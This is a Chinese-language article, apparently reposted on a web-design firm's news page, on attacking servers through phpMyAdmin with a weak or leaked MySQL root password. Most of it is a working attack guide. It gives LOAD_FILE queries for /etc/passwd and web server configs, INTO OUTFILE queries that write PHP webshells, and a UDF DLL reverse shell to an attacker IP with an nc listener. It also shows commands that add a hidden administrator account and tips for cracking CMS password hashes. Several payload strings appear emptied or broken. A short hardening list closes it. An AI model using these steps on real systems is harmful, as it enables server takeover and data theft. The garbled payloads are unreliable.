新聞中心
很多公司和個人都喜歡使用phpMyAdmin來管理MySQL數(shù)據(jù)庫——在zoomeye中搜索關(guān)鍵字phpmyadmin,我國位居第二,如下圖1所示。phpMyAdmin功能非常強(qiáng)大,可以執(zhí)行命令,導(dǎo)入或者導(dǎo)出數(shù)據(jù)庫,可以說通過phpMyAdmin可以完全操控Mysql數(shù)據(jù)庫。但是,如果存在設(shè)置的Root密碼過于簡單,代碼泄露Mysql配置等漏洞,通過一些技術(shù)手段,99%都能獲取網(wǎng)站webshell,有的甚至是服務(wù)器權(quán)限。phpMyAdmin在一些流行架構(gòu)中大量使用,例如phpStudy、phpnow、Wammp、Lamp、Xamp等,這些架構(gòu)的默認(rèn)密碼為root,如果未修改密碼,極易被滲透。

創(chuàng)新互聯(lián)公司從2013年成立,先為特克斯等服務(wù)建站,特克斯等地企業(yè),進(jìn)行企業(yè)商務(wù)咨詢服務(wù)。為特克斯企業(yè)網(wǎng)站制作PC+手機(jī)+微官網(wǎng)三網(wǎng)同步一站式服務(wù)解決您的所有建站問題。
在對phpMyAdmin漏洞進(jìn)行研究時,筆者發(fā)現(xiàn)國內(nèi)的一些數(shù)據(jù)庫中已經(jīng)存在數(shù)據(jù)庫病毒,甚至勒索信息。這些病毒的一個表現(xiàn)就是會在mysql的user表中創(chuàng)建隨機(jī)名字的表,表內(nèi)容為二進(jìn)制文件,有的是可執(zhí)行文件,有的會在windows系統(tǒng)目下生成大量的vbs文件,感染系統(tǒng)文件或者傳播病毒。
本文對phpMyadmin漏洞的各種利用方法和思路進(jìn)行探討,最后給出了一些安全防范方法,希望能對使用phpmyadmin的朋友有所幫助。個人QQ(1743811933)歡迎進(jìn)行技術(shù)交流。
圖1我國大量使用phpmyadmin
一、Mysql root帳號密碼泄露的主要隱患
常規(guī)來說, MySQL賬號源代碼泄露、暴力破解等安全隱患。
1.源代碼泄露
在有的CMS系統(tǒng)中,對config.inc.php以及config.php等數(shù)據(jù)庫配置文件進(jìn)行編輯時,有可能直接生成bak文件,這些文件可以直接讀取和下載。很多使用phpmyadmin的網(wǎng)站往往存在目錄泄露,通過目錄信息泄露,可以下載源代碼等打包文件,在這些打包文件或者代碼泄露可以獲取網(wǎng)站源代碼中的數(shù)據(jù)庫配置文件,從而獲取root帳號和密碼。建議從rar、tar.gz文件中搜索關(guān)鍵字config、db等。
2. 暴力破解
經(jīng)過實(shí)踐研究可以通過burpsuit等工具對phpmyadmin的密碼實(shí)施暴力破解,甚至可以通過不同的字典對單個IP或者多個URL進(jìn)行暴力破解,有關(guān)這個技術(shù)的實(shí)現(xiàn)細(xì)節(jié)和案例,請參考專題文章《暴力破解phpMyAdmin root帳號密碼》。使用phpMyadmin暴力破解工具,收集常見的top 100password即可,其中可以添加root、cdlinux密碼,用戶名以admin和root為主。
3. 其它方式獲取
例如通過社工郵件帳號,在郵件中會保存。
二、網(wǎng)站被攻擊的真實(shí)路徑分析
利用該漏洞實(shí)施網(wǎng)站攻擊的真實(shí)路徑是怎樣的呢?讓我們一起來看看吧。
1. phpinfo函數(shù)獲取法
最直接獲取網(wǎng)站真實(shí)路勁的是通過phpinfo.php也即phpinfo()函數(shù),在其頁面中會顯示網(wǎng)站的真實(shí)物理路徑。phpinfo函數(shù)常見頁面文件有phpinfo.php、t.php、tz.php、1.php test.php、info.php等。
2.出錯頁面獲取法
通過頁面出錯來獲取。有些代碼文件直接訪問時會報錯,其中會包含真實(shí)的物理路徑。thinkphp架構(gòu)訪問頁面一般都會報錯,通過構(gòu)造不存在的頁面,或者存在目錄信息泄露的逐個訪問代碼文件通過出錯獲取真實(shí)路徑。
3. load_file函數(shù)讀取網(wǎng)站配置文件
通過mysql load_file函數(shù)讀取配置文件。/etc/passwd文件會提示網(wǎng)站的真實(shí)路徑,然后通過讀取網(wǎng)站默認(rèn)的index.php等文件來判斷是否是網(wǎng)站的真實(shí)目錄和文件。其中讀取非常有用的配置文件總結(jié)如下:
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/passwd' )
- SELECT LOAD_FILE('/etc/issues' )
- SELECT LOAD_FILE('/etc/etc/rc.local' )
- SELECT LOAD_FILE('/usr/local/apache/conf/httpd.conf' )
- SELECT LOAD_FILE('/etc/nginx/nginx.conf' )
- SELECT LOAD_FILE( 'C:/phpstudy/Apache/conf/vhosts.conf' )
- select load_file('c:/xampp/apache/conf/httpd.conf');
- select load_file('d:/xampp/apache/conf/httpd.conf');
- select load_file('e:/xampp/apache/conf/httpd.conf');
- select load_file('f:/xampp/apache/conf/httpd.conf');
4. 查看數(shù)據(jù)庫表內(nèi)容獲取
在一些CMS系統(tǒng)中,有些會保存網(wǎng)站配置文件,或者網(wǎng)站正式路徑地址,通過phpmyadmin進(jìn)入數(shù)據(jù)庫查看各配置庫表以及保存有文件地址的表即可獲取。
5. 進(jìn)入后臺查看
有些系統(tǒng)會在后臺生成網(wǎng)站運(yùn)行基本情況,這些基本情況會包含網(wǎng)站的真實(shí)路徑,也有一些是運(yùn)行phpinfo函數(shù)。
6. 百度搜索出錯信息
通過百度搜索引擎、zoomeye.org、shadon等搜索關(guān)鍵字error、waring等,通過快照或者訪問頁面來獲取。例如:
- site:antian365.com error
- site:antian365.com warning
三、Mysql root賬號webshell泄露分析
Mysql Root賬號通過phpMyAdmin獲取webshell的思路,主要有下面幾種方式,以第一二六種方法較佳,其它可以根據(jù)實(shí)際情況來進(jìn)行。
1. 直接讀取后門文件
通過程序報錯、phpinfo函數(shù)、程序配置表等直接獲取網(wǎng)站真實(shí)路徑,有些網(wǎng)站前期已經(jīng)被人滲透過,因此在目錄下留有后門文件通過load_file直接讀取。
2. 直接導(dǎo)出一句話后門
前提需要知道網(wǎng)站的真實(shí)物理路徑,例如呼求偶真實(shí)路徑D:\work\WWW,則可以通過執(zhí)行以下查詢,來獲取一句話后門文件antian365.php,訪問地址http://www.somesite.com/ antian365.php
- select ''INTO OUTFILE 'D:/work/WWW/antian365.php'
3. 創(chuàng)建數(shù)據(jù)庫導(dǎo)出一句話后門
在查詢窗口直接執(zhí)行以下代碼即可,跟1.3.2原理類似。
- CREATE TABLE `mysql`.`antian365` (`temp` TEXT NOTNULL );
- INSERT INTO `mysql`.`antian365` (`temp` ) VALUES('');
- SELECT `temp` FROM `antian365` INTO OUTFILE'D:/www/antian365.php';
- DROP TABLE IF EXISTS `antian365`;
4. 可執(zhí)行命令方式
創(chuàng)建執(zhí)行命令形式的shell,但前提是對方未關(guān)閉系統(tǒng)函數(shù)。該方法導(dǎo)出成功后可以直接執(zhí)行DOS命令,使用方法:www.xxx.com/ antian365.php?cmd=(cmd=后面直接執(zhí)行dos命令)。
select '\';system($_GET[\'cmd\']); echo \'\'; ?>' INTO OUTFILE 'd:/www/antian365.php'
5. 過殺毒軟件方式
通過后臺或者存在上傳圖片的地方,上傳圖片publicguide.jpg,內(nèi)容如下:
- ".base64_decode($a));?>
然后通過圖片包含temp.php,導(dǎo)出webshell。
- select '' INTO OUTFILE 'D:/work/WWW/antian365.php'
一句話后門密碼:antian365
6. 直接導(dǎo)出加密webshell
一句話后門文件密碼:pp64mqa2x1rnw68,執(zhí)行以下查詢直接導(dǎo)出加密webshell,D:/WEB/IPTEST/22.php,注意在實(shí)際過程需要修改D:/WEB/IPTEST/22.php。
7. CMS系統(tǒng)獲取webshell
有些情況下無法獲取網(wǎng)站的真實(shí)路徑,則意味著無法直接導(dǎo)出一句話webshell,可以通過CMS系統(tǒng)管理賬號登錄系統(tǒng)后,尋找漏洞來突破,例如dedecms則可以通過破解管理員賬號后直接上傳文件來獲取webshell。Discuz!的UC_key可以直接獲取webshell。甚至某些系統(tǒng)可以直接上傳php文件。下面是一些CMS系統(tǒng)滲透的技巧:
(1)dedecms系統(tǒng)的密碼有直接md5,也有20位的密碼,如果是20位的密碼則需要去掉密碼中的前3位和最后1位,然后對剩余的值進(jìn)行md5解密即可;
(2)phpcms v9版本的密碼需要加salt進(jìn)行破解,需要選擇破解算法md5(md5($pass).$salt)進(jìn)行破解。
(3)Discuz!論壇帳號保存在ucenter_members(Discuz7.X及以上版本)或者cdb_members(discuz6.x版本)表中,其破解需要帶salt進(jìn)行,其破解時是使用password:salt進(jìn)行,例如a0513df9929afc972f024fa4e586e829:399793。
四、無法通過phpmyadmin直接獲取webshell
前面的方法試過,仍然無法獲取webshell,則可以采取以下方法和思路。
1. 連接mysql
直接通過mysql程序連接:mysql.exe -h ip -uroot -p
通過phpmyadmin連接
通過Navicat for MySQL連接
2. 查看數(shù)據(jù)庫版本和數(shù)據(jù)路徑
- SELECT VERSION( );
- Select @@datadir;
5.1以下版本,將dll導(dǎo)入到c:/windows或者c:/windows/system32/
5.1以上版本 通過以下查詢來獲取插件路徑:
- SHOW VARIABLES WHERE Variable_Name LIKE "%dir";
- show variables like '%plugins%' ;
- select load_file('C:/phpStudy/Apache/conf/httpd.conf')
- select load_file('C:/phpStudy/Apache/conf/vhosts.conf')
- select load_file('C:/phpStudy/Apache/conf/extra/vhosts.conf')
- select load_file('C:/phpStudy/Apache/conf/extra/httpd.conf')
- select load_file('d:/phpStudy/Apache/conf/vhosts.conf')
3. 直接導(dǎo)出udf文件為mysqldll
◆先執(zhí)行導(dǎo)入ghost表中的內(nèi)容
修改以下代碼的末尾代碼 select backshell("YourIP",4444);
◆導(dǎo)出文件到某個目錄
- select data from Ghost into dumpfile 'c:/windows/mysqldll.dll';
- select data from Ghost into dumpfile 'c:/windows/system32/mysqldll';
- select data from Ghost into dumpfile 'c:/phpStudy/MySQL/lib/plugin/mysqldll';
- select data from Ghost into dumpfile 'E:/PHPnow-1.5.6/MySQL-5.0.90/lib/plugin/mysqldll';
- select data from Ghost into dumpfile 'C:/websoft/MySQL/MySQL Server 5.5/lib/plugin/mysqldll.dll'
- select data from Ghost into dumpfile 'D:/phpStudy/MySQL/lib/plugin/mysqldll.dll';
◆查看FUNCTION中是否存在cmdshell和backshell,存在則刪除:
- drop FUNCTION cmdshell;//刪除cmdshell
- drop FUNCTION backshell;//刪除backshell
◆創(chuàng)建backshell
- CREATE FUNCTION backshell RETURNS STRING SONAME 'mysqldll.dll'; //創(chuàng)建backshell
◆在具備獨(dú)立主機(jī)的服務(wù)器上執(zhí)行監(jiān)聽
- nc -vv -l -p 44444
◆執(zhí)行查詢
- select backshell("192.192.192.1",44444);//修改192.192.192.1為你的IP和端口
◆獲取webshell后添加用戶命令
注意如果不能直接執(zhí)行,則需要到c:\windows\system32\下執(zhí)行
- net user antian365 Www.Antian365.Com /add
- net localgroup administrators antian365
五、phpMyAdmin漏洞防范方法
1.使用phpinfo來查看環(huán)境變量后,盡量在用后及時將其刪除,避免泄露真實(shí)路徑。
2.使用Lamp架構(gòu)安裝時,需要修改其默認(rèn)root帳號對應(yīng)的弱口令密碼root。以及admin/wdlinux.cn。
3.LAMP集成了proftpd,默認(rèn)用戶是nobody,密碼是lamp,安裝完成后也需要修改。
4.如果不是經(jīng)常使用或者必須使用phpMyadmin,則在安裝完成后可刪除。
5.嚴(yán)格目錄寫權(quán)限,除文件上傳目錄允許寫權(quán)限外,其它文件及其目錄在完成配置后將其禁止寫權(quán)限,并在上傳目錄去掉執(zhí)行權(quán)限。
6.部署系統(tǒng)運(yùn)行后,上傳無關(guān)文件,不在網(wǎng)站進(jìn)行源代碼打包,以及導(dǎo)出數(shù)據(jù)庫文件,即使要打包備份,也使用強(qiáng)密碼加密
7.設(shè)置root口令為強(qiáng)口令,字母大小寫+特殊字符+數(shù)字,15位以上,增加破解的難度。
8.不在網(wǎng)站數(shù)據(jù)庫連接配置文件中配置root賬號,而是單獨(dú)建立一個數(shù)據(jù)庫用戶,給予最低權(quán)限即可,各個CMS的數(shù)據(jù)庫和系統(tǒng)相對獨(dú)立。
9.定期檢查Mysql數(shù)據(jù)庫中的user表是否存在host為“%”的情況,plugin中是否存在不是自定義的函數(shù),禁用plugin目錄寫入權(quán)限。
【原創(chuàng)稿件,合作站點(diǎn)轉(zhuǎn)載請注明原文作者和出處為.com】
本文名稱:phpMyAdmin漏洞利用與安全防范
標(biāo)題來源:http://m.fisionsoft.com.cn/article/ccscohh.html


咨詢
建站咨詢
